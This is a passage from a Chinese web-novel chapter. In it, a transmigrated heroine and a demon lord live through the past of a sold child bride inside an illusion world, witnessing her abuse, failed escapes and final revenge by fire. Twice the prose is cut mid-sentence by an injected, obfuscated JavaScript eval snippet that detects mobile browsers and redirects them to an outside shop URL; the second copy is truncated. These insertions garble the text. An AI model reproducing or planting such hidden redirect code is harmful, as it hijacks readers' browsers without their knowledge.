再往前点,魔祖穿着红纱紫纱“勾引”她时,说她喜欢看他这样穿,按照人物清禾的设定,绝不会如此,那时的也权当这祖宗在逗她。 想到这里,荆歌面色一红。 其实细想来,喜欢看男模坦胸露腹穿红纱紫绸的也是她。不过这都是她压力大时,晚上窝在被窝里偷偷在网上刷的东西,这小老祖又是如何精准得知呢? 难不成,他的隐藏身份是大数据? 荆歌越想脸越烧。 小老祖品着茶,盯着她看,幽幽问:“在想什么,为何脸如此红?” 脑中的各种猜测顿时烟消云散,荆歌心虚地喝了一口茶,忙道:“没什么没什么,赶紧吃赶紧吃,吃完了去鸡鸣湖看看。” 在来茶馆的路上,她问过魔祖,“境心”一般会是什么?他回答说境心多为对境主来说十分重要或意义非凡的地方。 如果方才得到的信息是对的,阿蛮真要往鸡鸣湖跑的话,这个地方就有可能真是“境心”所在。 “事不宜迟,我们现在就出发——” 荆歌站起身,正要结账离开,突然冒出来一个老人挡住了她的去路。 “小姑娘,要买书吗?” “不……” 拒绝的话在看清老人的长相后咽回来嗓子里,荆歌定定看着眼前跛脚老人。 老人形容瘦削,拄着一根竹棍子,满脸堆笑地看着她。 除了一双浑浊的眼睛不同外,这老人和凤竹堡外的说书人一模一样。 荆歌神色一怔,往后退了一步,魔祖挡在了她的面前。 看到这一幕的店小二匆忙赶了过来,呵斥老人:“二跛子你怎么又来了,别打扰我们客人吃饭,出去出去!” 店小二一边推搡着老人,一边转身过来对荆歌和魔祖道:“对不住了两位客官,这老头卖书讲书为生,疯疯癫癫的,没吓着您两位吧?” 推搡中,老人怀中的书落了一地,其中一本被风吹开了。荆歌的视觉不自觉落在摊开的那页上。 书页上写着:等郎媳记 “等等!” 荆歌制止了店小二赶人的动作。 与此同时,身侧的魔祖倾身过来,附耳道:“不觉兽传来了消息。” “那女子,已经到了鸡鸣湖。” 8. 等郎媳 不觉兽能够感知到来者的善恶,所守护的人有危险时才会现身。之所以现在才传来消息,是因为它未从早上放走阿蛮的人身上感受到恶意。 相反,从那人身上闻到了一种浓浓的苦涩。 它默默跟着阿蛮来到了鸡鸣湖,怕她一时想不开投湖自尽,便向主人传递了消息。 魔祖传声叫它牢牢跟住她。 与此同时,在茶馆中,荆歌捡起地上的书后还给了二跛子,问:“老人家,你这书是从哪里来的?” 老人挺直腰背,拍了拍胸脯,模样神气极了:“老夫自己写的!” 这时茶馆中有人搭话了:“这老东西不光自己写,还到处讲,就是讲的东西人不爱听,全是堡中过去发生的事,堡中人多少都知道些,听久了当然就腻了。” 邻桌的人也道:“对啊,尽是些女人的生平事迹,死的死,疯的疯,谁爱听啊?日子过得寡淡,人人都想听点新奇的,谁愿意整日就听这些!” 不等这些人说完,二跛子就叉起了腰,厉声道:“老子就是要讲,不光在凤竹堡讲,还要去外头讲,要让天下人都知道这些女娃的故事,要叫世人评评理,错的是谁,最该死的又是谁!” 话落,茶馆中的人脸色惊变。 他们都晓得,致使故事中的姑娘走向毁灭的“凶手”是谁,但只能选择缄默,袖手旁观。 “能怪谁?只能怪她们命不好呗。”有人小声嘟囔,“又不是我们卖的她们——再说老头,她们的事和你有关吗?你要真想靠说书赚钱,我劝你趁早讲点大家爱听的,不然迟早饿死自己。” 荆歌看向这个说完便负手离开的男人。 他走得很从容,可在她的眼中,却几乎是落荒而逃了。 一句“命不好”,便轻易否定了她们的所有。 老人视线从男人身上收回,又一一从在座的每一位茶客身上扫过,掷地有声道:“老夫就讲她们的故事,也只讲她们的故事。” 闻言,荆歌心头一震,看向说书人,问:“老人家,我想问个明白,这书中所写的关于不同姑娘的事,都是真实的记录吗?” 老人见有人对这些女娃的故事感兴趣,脸上终于有了笑意,认真道:“老人以命担保,所写绝对属实,倘若不实,天打雷劈,死不足惜。” 等的就是他这句话。 “就冲您这句话,我买一本,就现在你手里的这本。”荆歌把书取出钱袋,掏出一把递给他,“多少钱?你自己看着拿。” 二跛子却摇了摇头,推回了她装满银两的钱袋,道:“这本书还有最后一点尚未写完,等老夫写完,送给姑娘,不收钱。” 怎么说变就变?荆歌不解:“白送给我?”转念一想,有便宜不占王八蛋,接着道,“那什么时候能写完?我上哪找你去?” “不用等很久,明日午时,在东巷尽头的柳家门口,他家家主设宴为长孙庆生,老夫去讨口饭吃,你就在那儿等着。” 说着,二跛子又从怀中掏出一本小册,左右看了看,极速递到了荆歌的手里,挑眉笑道:“老夫和你有缘,这本连环画册拿去解闷,”他偷瞥了一眼身后阴气沉沉的男人,嘿嘿笑了两下,继续道,“保管姑娘喜欢,收好,一定要收好啊。” 说完,二跛子撑着竹棍,一瘸一瘸地走了。 荆歌看着手中的小册,一脸迷惑地收了起来。魔祖适时提醒:“该走了。” “对对对,赶紧去鸡鸣湖。” 一魔一人到鸡鸣湖后,和不觉兽一起蹲在草丛中看着在水中往前游的阿蛮。 没有让他们担惊受怕的赴死,只有一个在湖水中拼命往前游的身影。 阿蛮在无边无际的湖水中形单影只,却带着一往无前的倔强向着彼岸游去。 不觉兽呜呜了两声,便开始了说人话:“这姑娘已经游了快一个时辰了,起初她在岸边站了很久,我以为她想死但又害怕,在岸边迟疑。后来她一头扎进了水里,我一边给你俩传信一边往水里飞,结果这姑娘开始一个劲地往前扑腾,水性可好了。” 阿蛮不停歇地往前游,荆歌远远望着她,想起了今早在集市听到的有关她的闲言碎语。 有人说他看见阿蛮夜深人静时常往水边跑,以为她不想活了,想和昔日的好友在水底作鬼友。现在看来,那人猜错了,他们也想错了。 她在夜里一次又一次地跳进冷水中,游走又归来,一次比一次游得远,一次比一次更接近彼岸。 千百次的历练,只为了今朝。 这样孤独又倔强的背影,比谁都想好好活下去。 荆歌在心底为她鼓劲:就这样往前游吧,游上彼岸,一直游到山花遍野,春光灿烂。 她想问问,是否可以略施法术助力她一举上岸,再不济游到湖中心的小岛上也行。 不过她转念一想——有些事,一点一滴都是亲力而为才更有意义。 然而,变故总是发生得猝不及防。 “快抓住她,别让她跑了!”贺府的人突然而至,像豺狼一样围了过来。 他们疯了一样地往水中撒网,像捕鱼那样企图困住她所有的希望。密布的游船更像是千万只蜂拥而上的铁蹄,意图踏碎她关于今后的所有设想。 家主贺无颜手中拿着铁钩长链,阴着脸向水中抛。 “你这个贱人,老子死也不会放过你!” “快,抓住她!给老子抓住她!” 到底是什么深仇大恨,何以至此?放她走不好吗?荆歌不明白,手中匆忙开始施法。 一定要帮她! 此时的她只有这一个念头。 荆歌以无形之手推着筋疲力竭的阿蛮往前,水中的她已经筋疲力尽了,岸上的她倾囊以救。 灵力汇聚而成的一双巨掌,不停地靠近她,就像阿蛮不停地靠近好似近在咫尺却又远在天涯的彼岸。 只要游到了那里,她就自由了,她也就放心了。 可是为什么,灵力明明一次又一次地推到了阿蛮的背上,却一次又一次地被反弹了回来,打在了荆歌的身上。 奇怪的是,她却毫发无伤,一点都不痛。 一旁的魔祖,此时眉宇阴沉,神色如山雨欲来,黑云密布,血丝从漆黑的瞳仁向眼角蔓延,怒视着这群穷凶极恶之徒。 “一群人渣!” “让她走。” 霎时,风云滚动,电闪雷鸣,郎朗春日眨眼间大雨压境,地崩山摧。 围着鸡鸣湖的人大喊了起来:“天神发怒了,快跑快跑啊!” 话落,仆人们如鸟兽群散,落荒而逃。 贺无颜大喊:“我看谁敢跑!都给老子回来!老子就是天神!” 他再一次抡出去了铁爪,套在了阿蛮的脖子上。 阿蛮拼命挣扎,脖颈上的鲜血汩汩而流,染红了湖水。 有人从岸边窜出,冲着她大喊:“阿蛮!” 阿蛮不游了,在风雨中转身,笑着看了岸边枯瘦的老人一眼,慢慢坠落。 风雨明明遮挡了视野,奇怪的却是,荆歌无比清晰地看到,阿蛮眼底的光亮,随着下坠的身子,一点一点熄灭。 荆歌不忍在看,痛苦地闭上了眼。 明明她们都不认识,可为何,她却清楚地感受到了她心脏的跳动。 绝望、无助、不甘。 天地定格…… 再睁眼时,荆歌和魔祖站在一棵开得正艳的桃树下。 桃之夭夭,灼灼其华。 鞭炮声声,换回了荆歌的神思,迷茫地看着眼前的一切,整理好情绪。须臾后,扯了下魔祖的衣袖。 “这是哪儿?我们不是在湖边吗?” 魔祖看着不远处过喜事的人家,指着门上的牌匾,道:“柳家。”又抬头看了眼天上亮堂的太阳,补充:“东巷的柳家。” 荆歌记起来了,这不是昨日和二跛子约定的地方吗? 说起二跛子,荆歌又想起来了方才的事——阿蛮被贺无颜抓住时,有人在岸边喊了一声她的名字,就是藏在树后的他。 这样看来,二跛子和阿蛮是认识的,且关系匪浅。 说曹操曹操到,想二跛子二跛子也到。 二跛子看见他俩后,愁云惨淡的脸色缓和了些,一颠一颠地向两人快步赶来。 “对不住对不住,老夫来迟了。”二跛子不好意思道,“昨日承诺可能要作废了,书老夫没写完。” “为什么,您是遇到什么事耽搁了吗?” 二跛子闻言忽然气愤了起来:“无事,只是老夫不相信有位姑娘的结局会止步于此。” 他口中的姑娘十有八九就是阿蛮,而且十有八九阿蛮被抓回去了。 荆歌试探性地问:“那姑娘是哪位姑娘,落得个什么结局?” 话落,二跛子神色一顿,片刻后道:“不方便告知,姑娘若是不着急离开,等着便是。” 说话的间隙,柳家出来了一个男子,左右看了看,笑着向桃树下走来。 男子器宇轩昂,相貌俊朗,荆歌不由得多看了两眼。还未来得及看第三眼,便感受到了一道哀怨的目光。 小老祖轻咳了一声,挡在她面前,插在了她和男子的中间。 男子道:“吴先生您来了啊,快快随晚辈到府中去。” 原来二跛子姓吴。荆歌看着两人。 吴二跛摆手道:“老夫穿着不得体,随个礼就走,就不进去了。”他从袖中掏出了一个干干净净的红色锦帛。 昨天不是说要来讨口饭吗?席开了礼随了不吃口再走吗?荆歌觉得有些可惜,她还没吃过古代的席呢。 柳家家主挽住了吴二跛的臂腕,坚持道:“要不是您,慕一两岁之时就被拐子抱走了,哪还能过三岁的生辰,今日这场宴席,没您可不开。” 原来是救女之恩啊。 这小老头,在壶外时,干的尽不是人事儿,壶中境里倒是做了不少好事。不过——壶外他确实不是人,一具行尸,能指望他干什么好事? 想通好,荆 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17125984|196074||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 歌用期待的眼神看向他,拉住他的胳膊摇了摇,道:“阿爷,人家都这样说了,您可不能再拒绝了,荆歌也想进去看看小慕一。” 柳先生没见过荆歌,问:“这是?” 吴二跛无可奈何道:“这是我的义孙。”哪是想去看孩子,怕是想进去吃宴席吧!他就没见过这么馋的丫头。 “那就恭敬不如从命了。” 柳先生笑道:“如此甚好,请。”说着,向荆歌投以感激的目光。 荆歌颔首回礼。 其实她也不光只是蹭席,主要还是想收集情报。她不信,阿蛮再次逃跑这事,凤竹堡里的人能不知道。 吴二跛刻意隐瞒他和阿蛮的关系,从他这儿是很难得知关于阿蛮的事了,记载“等郎媳”的书他也暂时不肯借给她,只能从旁人口中的得知了。 荆歌拉上了小老祖。 “走,姐带你蹭席。” 魔祖看着握着自己手的人,唇角漾起。 或许她自己都没有意识到,这个动作有多么的自然。 就好像,像这样牵他的手,已有千百次。 果然,一进府中,荆歌就听见有人压低声音说着阿蛮的事。 “听说了吗?贺府的那个等郎妹昨天又跑了。” “当然听说哩,被吊起来打了一顿,又关在柴房里冻了一夜,早上竟然还能在鸡鸣湖里游,命真是硬嘞。” “命硬有甚用?还不是被抓回去啦。听说放她走的三姨娘,也被连累了。” 三姨娘?荆歌脑中浮现出一张神色凄婉的脸。 “三姨娘咋啦?” “淹死在井里面嘞。” 众人一阵唏嘘,荆歌心头一震。那日若非三姨娘好言相劝,拿捏贺无颜的软肋,阿蛮所受皮肉之苦又恐怕更甚。 那样温婉心善的姨娘,说被沉井就被沉井,这个世道,还有没王法? 天杀的贺无颜!天理何在! “算啦算啦,不讲嘞,这是人家的喜宴,窝们还是不讲这些事咧。” 围坐一桌的人附和了,不过一瞬,还是有人没忍住,问:“那女娃呢?” “本来是要被打死的,谁知有人花钱要买她的命,命留下了。” “谁家呀?”有人忙问。 “高家。” 荆歌心头一松。 太好了,她还活着。 “为啥买她?” “这就不知道了。” 后来这一桌的人换了话题,荆歌也就不再侧耳偷听,疾步走到了吴二跛的身边。他正在上礼簿。 柳家的掌簿是一位看起来是一位上了年龄的长者,耳似乎有些背。吴二跛说他大名为“吴仲波。”掌簿落笔成了“吴仲泼”。 礼簿不能错字,荆歌便好心地大声对掌簿道:“是‘波’不是‘泼’。” “‘波浪’的‘波’,不是‘泼水’的‘泼’。” 掌簿一惊,慌忙捂住了耳朵。 吴仲波看傻子一样看她,问:“你吼人家干什么?” “这位老人家不是把你大名写错了吗?” 不等吴仲波说话,掌簿气鼓鼓道:“你才是老人家呢,我、我……我才过而立之年。还有,我没写错!” 荆歌向他看去,全然忘记了尴尬。 三十岁头发斑白——兄台,你压力有点大啊。 这时柳先生站出来解围,先看了眼荆歌身后站着的面色不善的男子,往后退了一步,才解释道:“姑娘和这位公子,不是凤竹堡本地人吧。” 荆歌盯着他,乖乖点头。 长得真好看,笑起来更好看。 魔祖睨着他,气不打一出来。 小白脸,笑什么笑,再笑把你牙拔掉。 “果然如此。姑娘有所不知,凤竹堡地处南嘉国边境,隔着鸡鸣湖同西昌国相望。此地早年战乱不休,草木不生,后统归南嘉,南下避祸的人多汇于此,亦有从西昌东渡之人,为利而往,因缘以聚。加之凤竹堡本地人好客,喜迎八方来客,这才导致小小的堡中,汇集了各地之人,鱼龙混杂,方言杂烩。而在本地话中,常把官话中读‘泼’的字,说为‘波’。” 荆歌恍然大悟,才明白自己方才的热心举动有多招笑,尬笑道:“那是不是相反的,把‘波’读‘泼’啊?两字读音互换了用?” 柳先生点头,一副“孺子可教”的模样:“正是如此。”接着他补充道:“姑娘还请记住,相应和官话交换字音使用的有‘落’和‘诺’,‘起’和‘挤’,‘瞒’和‘南’等。姑娘暂且记住这些,可不要再闹笑话了。” “等等!” 荆歌脑中沉寂的弦声突然被拨响了,仿佛有什么东西瞬间串联在了一起,骤然一亮。 同小老祖相视一眼,他眼底也有疑云消散的痕迹。 “请问柳先生,‘蛮’和‘楠’是否也互换了读音。” “正是,不论音调,与之音类的,皆作互换。” 楠,蛮。 蛮,楠。 9. 等郎媳 脑中轰然一声巨响。 阿蛮,阿楠,秦楠。 关于壶中境所有的疑惑都说得通了。 荆歌对柳先生道了一声谢后,便被吴仲泼拉着坐到了一桌空位上,魔祖跟着落座。 面对一桌美味佳肴,荆歌纹丝不动,脑中交替出现着两张脸,两张脸逐渐融合。 “发什么呆呢?”吴仲泼见身侧的姑娘一动不动,忍不住用筷子跟戳了下她,“你为了吃这顿饭,都认我当爷了,怎么进来了又一口不吃的,脑子想啥呢?” 荆歌回过神来,想再次确认一下自己的猜想,忙道:“吴老,那本书真不能先借我看看嘛?” “不是说了吗,等老夫写完再给你……”话未说完,他便感受到了一记冷飕飕的目光,瞥眼一看,和荆歌身侧不知姓名的紫衣男子对上了眼。 小老祖淡淡看了一眼,手中握着的筷子,轻轻那么一插,就穿破了饭桌。 “荆歌想看,就给她看。” “好嘞!” 这少年人看着年龄不大,眼神却像千年古墓一样阴森森的,这会儿看他跟看死人一样。说实话,他从一开始就挺怕的,碍于荆歌在,才敢同他一道。 人还是得识相点,不然真成死人怎么办?他死了不要紧,但阿蛮交代给他的事还未竟,还不能死,至少现在还不能死。 吴仲泼献宝似的将书双手捧着给了荆歌。 “您请过目。” 荆歌赞许地看了一眼小老祖。 小老祖却将目光转向了别处。 切。 恋爱脑真小气,她不就多看了两眼新帅哥吗?要明白她在现代一晚上刷八十个男模,他要是知道了不得气死。 荆歌不再管闹脾气的小老祖,将书翻到了写着“等郎媳记”的那一页,紧着这一页往后看,果真详尽地介绍了许多命运多舛,结局惨然的女子。荆歌不忍细看,一目十行地继续往下读。 心头沉甸甸的,一直到了最后的几页,才看到了她熟悉的名字—— 秦楠,六岁入贺府,作等郎媳,人多称其阿楠,少有人知其姓氏。 后来的描述和在境外时吴仲泼所讲并无二致,也与她亲眼不差分毫。 而阿蛮的后来,仍待续写。 荆歌把书归还给了吴仲泼,问:“高家在哪儿?” 吴仲泼夹菜的手一顿,抬眼看了下小老祖的神色,小声道:“东街口,向南一拐。” “谢了。” 看着一桌子菜,荆歌连吃带塞地吞了几口。 来都来了,不吃几口,岂不是不给我们柳慕一面子。 匆匆把菜挨个加了一口后,荆歌接过魔祖递给她的水,一饮而尽。 “您先吃着,我们先走了,有事忙。” 说罢,她便拉着魔祖的手,快步离开了柳府。 吴仲泼放下了手中的筷子,看着“两人”远去的背影。 他不知道两人来自各地,也不知他们为何如此执着于阿蛮的过往,但他打心底里希望,如若苍天有眼,就请他们帮帮那个好心的苦命孩子吧。 救救她,也救救她们。 * 去高府的路上,荆歌边走边问了身旁的小老祖三个问题。 第一个问题:为什么他们会突然出现在柳府的门前,鸡鸣湖边发生的一切,就像梦一场? 小老祖答:因为他们的出手相助,反而改变了阿蛮的结局。或许阿蛮根本没游到湖中心的小岛处,在贺无颜铁爪刺破她喉咙前,便被抓回去了。 荆歌一怔。 原来她自以为的竭力相救,反而加速了秦楠的死亡。壶中境因此发生了变化,回到了本来的轨迹上。 第二个问题:阿蛮是秦楠这件事,他是从什么时候知道的? 魔祖答:和她一样,在刚才确定。壶外起雾之时,阿蛮便离奇失踪了,但他并未感知到任何危险气息的逼近,那时他便对她有所怀疑。而整个壶中境里,更是弥漫着纸张的味道,和纸扎堂中的一样味道。 “你的意思是,这里的一切,都是纸糊的?”荆歌四处嗅了嗅,“骗人的吧,我怎么什么都没闻到?”难不成人和魔的嗅觉灵敏度不一样? 这个问题暂时不重要,荆歌不等魔祖回答,问了最后一个问题:“在鸡鸣湖岸边时,我用灵力救人,灵力明明都反弹了回来,为什么我没有受任何的伤?” 她记着小老祖说过,强行干涉境主的命运,会遭境的反噬。她已经插手了两次了,却什么事都没发生。 心底有个声音告诉她,一定是这个小老祖动了手脚。 话音落下好久,小老祖都不说话。 荆歌知道自己猜对了。 “是不是和昨夜你教我念的口诀有关?” 昨晚他神神秘秘又一脸认真地教她念了一个神神叨叨的口诀,也不说这口诀是干什么的,就让她早早歇息。那时的她刚为阿蛮疗完伤,灵力损耗严重,确实需要休息,没来得及问他便睡着了。 醒来后他们又着急去鸡鸣湖,她也就忘了要问口诀的事。 一一解答了荆歌疑问的魔祖,听到这个问题后,却加快了步子,显然不想回答。 “你跑什么?这问题这么难回答吗?唔——”嘴巴突然不受控制地闭合在了一起,就像是被人用强力胶封住一样,荆歌边追边对着魔祖的背影拳打脚踢。 不想说就不说呗,她还不想知道呢!一言不合就下禁言咒什么意思啊,显摆他的臭能耐呢?有本事在现实中单挑!虐不死他! “等到了高府,禁言咒会自动解……”魔祖回到了荆歌的身边,话还未说完,腿上便挨了一脚。 荆歌可谁都不惯着,就算是能毁天灭地的魔祖,只要做了让她不爽的事,她必然想方设法找机会还回去。 这一脚,她用了九成的力道,是对小老祖给她下禁言咒的回击,也是对他初次见面就对她“动手动脚”的延迟反击。 踢爽了的荆歌,先用手指了一下自己的紧闭的嘴唇,接着又做出了踹的人动作,之后食指在小老祖面前左右晃了晃,用眼神告诉面前的他:下一次再这样,就不只踹他这么简单了。 在小老祖的目光中,荆歌撩了下头发,扬长而去。 站在原地的魔祖,看着她挺直的背影,勾唇轻笑,想起了和她的初遇。 她也是这样,一脚踢开了他…… 到了高府门前,两人隐匿了身形,穿门而入,进到了府中。甫一进门,便听见仆从道:“贺家的那个等郎妹,命可真硬啊,被鞭子抽成那样了,还能在水里游那么久,脖子都快被贺家主的铁钩拧断了,人还没死。要我说就是八字还是太好了。” 另一人附和道:“谁说不是呢,要不是生辰八字好,能被家主救下?” “不过说起她的八字,可真奇怪,他继父为了骗钱编的八字旺贺家,她嫁进去后贺家成为了堡中的首富,而且还真等来了儿子!” “可不是嘛,后来被贺家发现生辰是假的,结果原本的八字竟然能给咱家家主冲喜!” “说明她命不该绝!家主可是在病中梦到了一位神仙,神仙让家主接那女子入府照顾他。家主信鬼神之说,终是花高价买回了她。” “你说她到底是个灾星还是个吉星啊?” 凤竹堡不大,关于阿蛮的身世和遭遇,早都被传开了,成为了人们饭后茶余的闲言碎谈。 克亲克夫克友的等郎妹,三番四次出逃未果的扫把星——这是人们对她的全部概括。 “难说,家主的病已经三年了,三年中,多少侍疾的婢女仆从都被他……” “小声点,别说这话了,先去给她送饭吧。她活着,我们才有救。” 两人的说话的声音逐渐小了下去,像是触及到了什么禁忌,低着腰离开了。 荆歌和魔祖跟在他们的身后,到了偏院的一间房前。房子破旧,檐下蛛网缔结,窗上封钉着木条,门上挂着一把厚重的锁。其中一人取出钥匙,开门而入。 房中一片漆黑,就像是在无底深渊中。阿蛮,或者说是秦楠,蜷缩着身子,躺在冰冷的地上。 门开了,她的身子才照到了光。 跟在仆从身后的荆歌,突然停下了脚步,不忍上前。 一名仆从上前,先用手摸了下秦楠的额头,接着探了下她的鼻息,对着另一仆从说:“还有气。”闻言,端着饭菜的仆从放下餐盘,从袖中掏出一瓶药,喂给了她。 “吃吧,吃了身子好了就早点去伺候家主吧。” 两人不愿多留,管家交代事做完后,便疾步离开了。 门重新落了锁,咔嚓一声,隔断了外面所有的光。 荆歌赶忙上前,秦楠的身子也在这时动了。 她睁开眼,伸手抓了一把眼前的米饭,大口吞咽。 荆歌停下了脚步,四周开始飞速变化,画面像浮光一般从眼前穿过。 秦楠身上的伤好了,整日出入于正院和偏院中,侍候着病入膏肓的高家家主,每一次从他的卧房出来,身上总是带着伤,有时在脸上,有时在肩颈处……她却从未因这些伤哭过,脸上的神色总是淡淡的,平静地处理好 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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然而,变故总是来得猝不及防,高府的人发现了逃跑的秦楠,举全堡之力,又将她连捆带绑地抓了回去,连带着,打死了在暗中相助她的吴仲泼。 慌乱中,荆歌捡到了吴仲泼遗失的手录之书,秦楠的故事只差一个结局。 秦楠被关在了高府的密牢中,那里还挂着三具尸体和两副白骨。她看着他们,不哭不闹,面如死灰。 是高府失踪的人,是被高家家主折磨而死的家仆。 管家对着秦楠道:“家主生前曾言,你是他见过命最硬的人,好生交代要将保你活着,活着去给人冲喜。” 秦楠又被转手于人,卖了。 荆歌攥着的拳头越握越紧,指甲刺破了手心。魔祖掰开她手,牵住,道:“他们的报应,就要来了。” 管家出去了,秦楠手指向内弯折,从腕间取出一根银针,熟练地撬开了铁链上的锁——这是夜深人静后,她对着那把铁锁一次又一次练习的结果。 挣脱了铁链后,秦楠看了那五具尸骨一眼,毫不犹豫地推倒了烧着的火盆。她从袖中掏出了一包粉末,洒在密牢的各处,火势瞬间变大。 紧接着秦楠敲开了一面地砖,地砖下可通往堡外。这是高家家主病中意识混乱时无意吐露的。她知道了密牢的存在,弄清了出口通道。密牢位于高府中心的地下,密牢若被大火烧毁,整个高家势必会遭重创。 重创当人不够,她要让高府中的所有人,都去死。 荆歌突然记起,在一闪而过的场景中,出现过秦楠出入库房,等所有人对熟睡后,避开值夜的人,绕着高府一遍一遍地走的画面。 她不光是在寻找逃跑的机会,更是在,一圈一圈地洒下炸药粉,再用花粉掩盖…… 嘭—— 从高府出来的那一刻,身后传来了爆炸声。 多么悦耳。 十年了,秦楠终于露出了久违的笑。 清早的出逃不过是她计划的一部分,她真正的目的就是进入密牢,从根底里摧毁这个吃人的府邸。 火光点亮了夜空,秦楠大步向前。 荆歌看着她的背影,用钦佩的目光一路目送,直到她坐着吴仲泼提前隐藏的船,荡到了鸡鸣湖的对岸。 荆歌突然有些迷茫。 境中之遇,她以为秦楠的夙愿是离开凤竹堡,可这次秦楠并未借助任何人的力量就出逃成功了,“境”却仍在继续,她和魔祖,几乎之以旁观者的身份,目睹了秦楠的过往。 而秦楠所谓的妹妹,自始至终都没有出现过。 秦楠将他们困于壶中境的目的,到底是什么? 荆歌百思不得其解,继续望着秦楠往前的背影,暗生迷惘。 秦楠走在开满鲜花的小径上,步子轻快雀跃。突然,一旁的树丛中跃出了一道身影,扑倒了她。 10. 等郎媳 此时的秦楠已经进入了朝凤山一带,山中鸟兽繁多,秦楠夜间独行,难免遇到夜行之兽,这时又突然不见了踪影,不由得叫人心头焦急。 荆歌赶忙拉着魔祖,以灵力飞过鸡鸣湖。 然而,就在他们落地朝凤山后,壶中境开始震动,地动山摇。 魔祖一手环住荆歌的腰,一手结界,急促道:“这里要塌了,抱紧我,我们出去。” 话音未落荆歌立马抱紧了他,心中只有一个念头:论实力她确实比不过书中战斗力数一数二的大魔头,此时不抱大腿更待何时!先活着出去,一切再从长计议。 许是造境的人法力不济,又或者是她的刻意为之,壶中境坍塌的速度极为快。天幕大块大块地剥落,漫天星辰如同落花飞向大地。山河倒转,草木凋零,缤纷春日在顷刻间失去了颜色,不过须臾,入目便成了一片的苍白。 万物皆苍茫,冥纸作俗尘。 这里的一切,都变成了纸糊的,恢复了最初的样子。 魔祖掌心生火,火化成龙,龙飞天际。 “闭眼。” 天撕裂,地生烟。 荆歌在天塌地陷之前闭眼。再睁眼之时,她安然无恙地站在了湖畔亭之中。 秦楠背对着她。 “秦楠,为什么要这么做?”荆歌质问。 闻言,秦楠转过了身,如无其事地看了荆歌一眼,目光却看向了她身旁的魔祖,不答反道:“荆歌姑娘,你还是先为魔祖治伤吧。” 伤? 荆歌看向身旁的魔,他贵气的锦衣紫袍上出现了许多大大小小的烧痕,身上传来一阵又一阵的热浪。 “壶中境中,入境者通常避免使用灵力、鬼力以及各种力量,因为必遭反噬。我之境中,鬼力最薄弱之时,亦是最凶恶之际,倘若反抗,必遭重创,神魂具裂,” “但若不反抗,就会永远的留在境中,直到灵力枯竭而死。” 秦楠的话让荆歌突然明白了,自己在境中为何总觉身子疲惫——那夜明明只用了一点的灵力救人,却在救人后困顿不已。 原来如此,幻境之力看似随着场景的变化而减弱,实则不然,它不断地吸食闯入者的各种之力,重新进行熔铸。因各种力量互相对抗又慢慢融合,才有境力减弱的错觉。 但是,境之反噬,她为何没有丝毫感觉呢? 荆歌看向魔祖,想起方才他叫她闭眼之前,先拥她入了怀,以身躯抵烈火,扛下了所有反噬的烈焰。 ……她的心突然有些慌乱。 “你……没事吧?” 她一向嘴笨,无论是安慰还是关心人的话都不大会说,这会儿半天也才憋出来一句,不痛不痒的问询。 本来扬着下巴,睥睨四下的小老祖闻言,忽然低下了身,瞳眸一转就往荆歌怀中倒。 “有事,哪里都难受,哪里都不舒服。” 荆歌:“……”亏她还担心他的身体呢,头能精准地往她颈窝间拱,能有什么事? “陪我去泡冷泉,降火。” “……”荆歌白了他一眼——小老祖装“烧”怎么办,晾一晾就好。 魔祖被推她到了一边,不恼不气,默默平复着体内汹涌的魔气。 魔气四溢,毁天灭地。 但她在这儿,天不能毁,地不能灭,日月星辰须长久地轮转下去。 见小老祖神色无恙,荆歌不再管他,走到了秦楠跟前,直视她的目光,问:“你这么做的目的是什么?你的妹妹为何自始至终都没出现过?” 秦楠看着她,不卑不亢地回道:“设计让你们入境,是为了试探魔祖。” 话落,魔祖侧目向她。 “你,在质疑本座之力?” “秦楠不敢,”秦楠面无表情道,“无穷境变化莫测,鬼力充盈丰厚,与您自身之力所冲撞。而魔祖您,法力无边无尽,自是不会将鬼王放在眼里,但倘若魔力失控,必遭鬼阎算计,到时候别说救秦楠之妹,恐会牵连荆歌姑娘。” 荆歌似懂非懂地听着秦楠继续道:“秦楠这才出此下策,怕您魔相不稳,魔气冲体,才以境试您对于自身力量的掌控,”她看了一眼迷茫荆歌,接着道,“这也是对荆姑娘的保护。” “您说对吗?” 荆歌总算是听明白了,原来秦楠是用幻境之力检测魔祖的实力呢,她怕这个喜怒无常魔气冲天的主儿任由性子行事,控制不好自己的力量反被鬼王察觉,坏了她救妹妹的计划。 简单点来说,就是秦楠不相信魔祖的为人,不对,为魔。 但…… 荆歌总觉得哪里不太对劲。 如此大费周章地动用鬼力维持壶中境,只为确保一个魔头不会乱用其力,按照计划行事,值得吗?而且,就算目的如此,为何境中的主角是“阿蛮”,为何要让他们参与阿蛮的过往,直接放几只鬼兽进去和魔祖互殴不行吗? 这样既探了大魔头的实力,又能以最快的速度结束,不影响找妹妹的进度。除非—— 秦楠另有所图。 听了她的解释,魔祖咬牙切齿道:“照你这么说,本座应该感谢你,嗯?” 秦楠正对上魔祖的目光,全然不见前几日的怯懦,掷地有声地“嗯”了下。 她这个态度,倒叫魔祖唇角勾起了一抹阴森的笑。 “有意思。” 这下换荆歌“嗯”了声,不过她这声“嗯”,嗯得七拐八扭的,没有魔祖的气势,也没有秦楠的魄力。 魔祖看着秦楠,打量的目光骤然变得冷冽,漆黑的双眸逼视着她,目光深不见底。 “你最好别让本座发现你的真实意图。” “否则,本座定将你——” “碎尸万段。” 最后一句,已经不能算作是话了,是赤裸裸明晃晃的警告了。虽然不是对她说的,但荆歌的腿不由得一软。 因为小老祖恋爱脑严重,荆歌时常忘记和她朝夕相处的这个骚里骚气的小少男,是个不折不扣,能翻天覆地的绝世大魔头。 眼下一魔一鬼剑拔弩张,在两人暗流涌动的对峙中,最先败下阵来的是荆歌。 本着和气生财,没事别找事,事来了不怕事的原则,荆歌决定站出来。 